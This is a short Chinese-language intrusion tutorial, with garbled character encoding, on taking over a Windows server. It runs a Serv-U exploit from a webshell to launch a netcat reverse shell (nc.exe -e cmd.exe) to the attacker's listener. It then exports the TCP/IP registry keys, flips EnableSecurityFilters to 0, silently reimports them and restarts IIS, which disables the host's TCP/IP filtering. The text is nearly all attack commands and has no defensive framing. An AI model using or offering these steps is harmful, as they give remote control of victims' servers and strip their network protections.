1.用NC反彈得到一個(gè)shell 

本機(jī)監(jiān)聽 NC -l -p 32 

WEBSHELL運(yùn)行： 

x:\xxx\serv-u.exe "x:\xxx\nc.exe -e cmd.exe *.*.*.* port" 

得到一個(gè)shell 

2.CMD下導(dǎo)出注冊(cè)表文件 
C:\>regedit -e x:\xxx\1.reg HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Ser 
vices\Tcpip 

C:\>regedit -e x:\xxx\2.reg HKEY_LOCAL_MACHINE\SYSTEM\ControlSet002\Services\Tcpip 

C:\>regedit -e x:\xxx\3.reg HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip 

修改各文件 EnableSecurityFilters 處 
將最后的1改為0 

3.將注冊(cè)表文件導(dǎo)入 
x:\xxx>regedit -s 1.reg 
x:\xxx>regedit -s 2.reg 
x:\xxx>regedit -s 3.reg 
-S 為無提示 

重啟命令 iisreset /reboot 

完成TCP/IP篩選限制